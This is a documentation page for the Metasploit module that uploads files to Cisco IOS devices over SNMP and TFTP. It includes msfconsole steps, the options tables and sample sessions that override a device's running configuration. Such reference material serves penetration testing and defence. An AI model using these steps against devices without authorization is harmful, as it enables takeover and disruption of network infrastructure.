Cisco IOS SNMP File Upload (TFTP) - Metasploit


This page contains detailed information about how to use the auxiliary/scanner/snmp/cisco_upload_file metasploit module. For list of all metasploit modules, visit the Metasploit Module Library.

Module Overview


Name: Cisco IOS SNMP File Upload (TFTP)
Module: auxiliary/scanner/snmp/cisco_upload_file
Source code: modules/auxiliary/scanner/snmp/cisco_upload_file.rb
Disclosure date: -
Last modification time: 2019-04-09 09:01:33 +0000
Supported architecture(s): -
Supported platform(s): -
Target service / protocol: -
Target network port(s): 161
List of CVEs: -

This module will copy file to a Cisco IOS device using SNMP and TFTP. The action Override_Config will override the running config of the Cisco device. A read-write SNMP community is required. The SNMP community scanner module can assist in identifying a read-write community. The target must be able to connect back to the Metasploit system and the use of NAT will cause the TFTP transfer to fail.

Module Ranking and Traits


Module Ranking:

  • normal: The exploit is otherwise reliable, but depends on a specific version and can't (or doesn't) reliably autodetect. More information about ranking can be found here.

Basic Usage


This module is a scanner module, and is capable of testing against multiple hosts.

msf > use auxiliary/scanner/snmp/cisco_upload_file
msf auxiliary(cisco_upload_file) > show options
    ... show and set options ...
msf auxiliary(cisco_upload_file) > set RHOSTS ip-range
msf auxiliary(cisco_upload_file) > exploit

Other examples of setting the RHOSTS option:

Example 1:

msf auxiliary(cisco_upload_file) > set RHOSTS 192.168.1.3-192.168.1.200 

Example 2:

msf auxiliary(cisco_upload_file) > set RHOSTS 192.168.1.1/24

Example 3:

msf auxiliary(cisco_upload_file) > set RHOSTS file:/tmp/ip_list.txt

Required Options


  • RHOSTS: The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'

  • SOURCE: The filename to upload

Knowledge Base


Vulnerable Application


Cisco IOS devices can be configured to retrieve, via tftp, a file via SNMP. This is a well documented feature of IOS and many other networking devices, and is part of an administrator functionality. This functionality can also be used to change their running configuration. This is documented here. A read-write community string is required, as well as a tftp server (metasploit includes one). The default functionality of the module will upload the file and it will be saved to flash:. The Override_Config action will override the running configuration of the device and the file will not be saved.

Verification Steps


Upload_File (Default Action)

  1. Enable SNMP with a read/write community string on IOS: snmp-server community private rw
  2. Start msfconsole
  3. Do: use auxiliary/scanner/snmp/cisco_upload_file
  4. Do: set COMMUNITY [read-write snmp]
  5. Do: set lhost [your IP address]
  6. Do: set rhosts [ip]
  7. Do: set source [file]
  8. Do: run

Override_Config

  1. Enable SNMP with a read/write community string on IOS: snmp-server community private rw
  2. Start msfconsole
  3. Do: use auxiliary/scanner/snmp/cisco_upload_file
  4. Do: set COMMUNITY [read-write snmp]
  5. Do: set lhost [your IP address]
  6. Do: set rhosts [ip]
  7. Do: set source [file]
  8. Do: set action [Override_Config]
  9. Do: run
  10. You can Verify that the running config has been overridden by using the auxiliary/scanner/snmp/cisco_config_tftp module to download the current running config from the device.

Options


COMMUNITY

The SNMP community string to use which must be read-write. Default is public.

SOURCE

The location of the source file to be uploaded to the Cisco device.

Scenarios


Cisco UC520-8U-4FXO-K9 running IOS 12.4

msf5 > setg rhosts 2.2.2.2
rhosts => 2.2.2.2
msf5 > use auxiliary/scanner/snmp/cisco_upload_file
msf5 auxiliary(scanner/snmp/cisco_upload_file) > set source /tmp/backup_config2
source => /tmp/backup_config2
msf5 auxiliary(scanner/snmp/cisco_upload_file) > set community private
community => private
msf5 auxiliary(scanner/snmp/cisco_upload_file) > run

[*] Starting TFTP server...
[*] Copying file backup_config2 to 2.2.2.2...
[*] Scanned 1 of 1 hosts (100% complete)
[*] Providing some time for transfers to complete...
[*] Shutting down the TFTP service...
[*] Auxiliary module execution completed

Cisco 3560G switch running IOS 12.2


`msf5 auxiliary(scanner/snmp/cisco_upload_file) > set COMMUNITY private`
`COMMUNITY => private`
`msf5 auxiliary(scanner/snmp/cisco_upload_file) > set LHOST 10.20.164.164`
`LHOST => 10.20.164.164`
`msf5 auxiliary(scanner/snmp/cisco_upload_file) > set action Override_Config`
`action => Override_Config`
`msf5 auxiliary(scanner/snmp/cisco_upload_file) > set rhosts 10.20.205.5`
`rhosts => 10.20.205.5`
`msf5 auxiliary(scanner/snmp/cisco_upload_file) > set source /root/Desktop/newconfig`
`source => /root/Desktop/newconfig`
`msf5 auxiliary(scanner/snmp/cisco_upload_file) > run`

`[*] Starting TFTP server...`
`[*] Copying file newconfig to 10.20.205.5...`
`[*] Scanned 1 of 1 hosts (100% complete)`
`[*] Providing some time for transfers to complete...`
`[*] Shutting down the TFTP service...`
`[*] Auxiliary module execution completed`

Go back to menu.

Msfconsole Usage


Here is how the scanner/snmp/cisco_upload_file auxiliary module looks in the msfconsole:

msf6 > use auxiliary/scanner/snmp/cisco_upload_file

msf6 auxiliary(scanner/snmp/cisco_upload_file) > show info

       Name: Cisco IOS SNMP File Upload (TFTP)
     Module: auxiliary/scanner/snmp/cisco_upload_file
    License: Metasploit Framework License (BSD)
       Rank: Normal

Provided by:
  pello <[email protected]>
  ct5595

Available actions:
  Name             Description
  ----             -----------
  Override_Config  Override the running config
  Upload_File      Upload the file

Check supported:
  No

Basic options:
  Name       Current Setting  Required  Description
  ----       ---------------  --------  -----------
  COMMUNITY  public           yes       SNMP Community String
  LHOST                       no        The IP address of the system running this module
  RETRIES    1                yes       SNMP Retries
  RHOSTS                      yes       The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
  RPORT      161              yes       The target port (UDP)
  SOURCE                      yes       The filename to upload
  THREADS    1                yes       The number of concurrent threads (max one per host)
  TIMEOUT    1                yes       SNMP Timeout
  VERSION    1                yes       SNMP Version <1/2c>

Description:
  This module will copy file to a Cisco IOS device using SNMP and 
  TFTP. The action Override_Config will override the running config of 
  the Cisco device. A read-write SNMP community is required. The SNMP 
  community scanner module can assist in identifying a read-write 
  community. The target must be able to connect back to the Metasploit 
  system and the use of NAT will cause the TFTP transfer to fail.

Module Options


This is a complete list of options available in the scanner/snmp/cisco_upload_file auxiliary module:

msf6 auxiliary(scanner/snmp/cisco_upload_file) > show options

Module options (auxiliary/scanner/snmp/cisco_upload_file):

   Name       Current Setting  Required  Description
   ----       ---------------  --------  -----------
   COMMUNITY  public           yes       SNMP Community String
   LHOST                       no        The IP address of the system running this module
   RETRIES    1                yes       SNMP Retries
   RHOSTS                      yes       The target host(s), range CIDR identifier, or hosts file with syntax 'file:<path>'
   RPORT      161              yes       The target port (UDP)
   SOURCE                      yes       The filename to upload
   THREADS    1                yes       The number of concurrent threads (max one per host)
   TIMEOUT    1                yes       SNMP Timeout
   VERSION    1                yes       SNMP Version <1/2c>

Auxiliary action:

   Name         Description
   ----         -----------
   Upload_File  Upload the file

Advanced Options


Here is a complete list of advanced options supported by the scanner/snmp/cisco_upload_file auxiliary module:

msf6 auxiliary(scanner/snmp/cisco_upload_file) > show advanced

Module advanced options (auxiliary/scanner/snmp/cisco_upload_file):

   Name                 Current Setting  Required  Description
   ----                 ---------------  --------  -----------
   CHOST                                 no        The local client address
   CPORT                                 no        The local client port
   ShowProgress         true             yes       Display progress messages during a scan
   ShowProgressPercent  10               yes       The interval in percent that progress should be shown
   VERBOSE              false            no        Enable detailed status messages
   WORKSPACE                             no        Specify the workspace for this module

Auxiliary Actions


This is a list of all auxiliary actions that the scanner/snmp/cisco_upload_file module can do:

msf6 auxiliary(scanner/snmp/cisco_upload_file) > show actions

Auxiliary actions:

   Name             Description
   ----             -----------
   Override_Config  Override the running config
   Upload_File      Upload the file

Evasion Options


Here is the full list of possible evasion options supported by the scanner/snmp/cisco_upload_file auxiliary module in order to evade defenses (e.g. Antivirus, EDR, Firewall, NIDS etc.):

msf6 auxiliary(scanner/snmp/cisco_upload_file) > show evasion

Module evasion options:

   Name  Current Setting  Required  Description
   ----  ---------------  --------  -----------

Go back to menu.

Error Messages


This module may fail with the following error messages:

Check for the possible causes from the code snippets below found in the module source code. This can often times help in identifying the root cause of the problem.

<IP> Error: <E.CLASS> <E> <E.BACKTRACE>


Here is a relevant code snippet related to the "<IP> Error: <E.CLASS> <E> <E.BACKTRACE>" error message:

169:	    # No need to make noise about timeouts
170:	    rescue ::Rex::ConnectionError, ::SNMP::RequestTimeout, ::SNMP::UnsupportedVersion
171:	    rescue ::Interrupt
172:	      raise $!
173:	    rescue ::Exception => e
174:	      print_error("#{ip} Error: #{e.class} #{e} #{e.backtrace}")
175:	    ensure
176:	      disconnect_snmp
177:	    end
178:	  end
179:	end

Go back to menu.


Go back to menu.

See Also


Check also the following modules related to this module:

Authors


  • pello <fropert[at]packetfault.org>
  • ct5595

Version


This page has been produced using Metasploit Framework version 6.2.23-dev. For more modules, visit the Metasploit Module Library.

Go back to menu.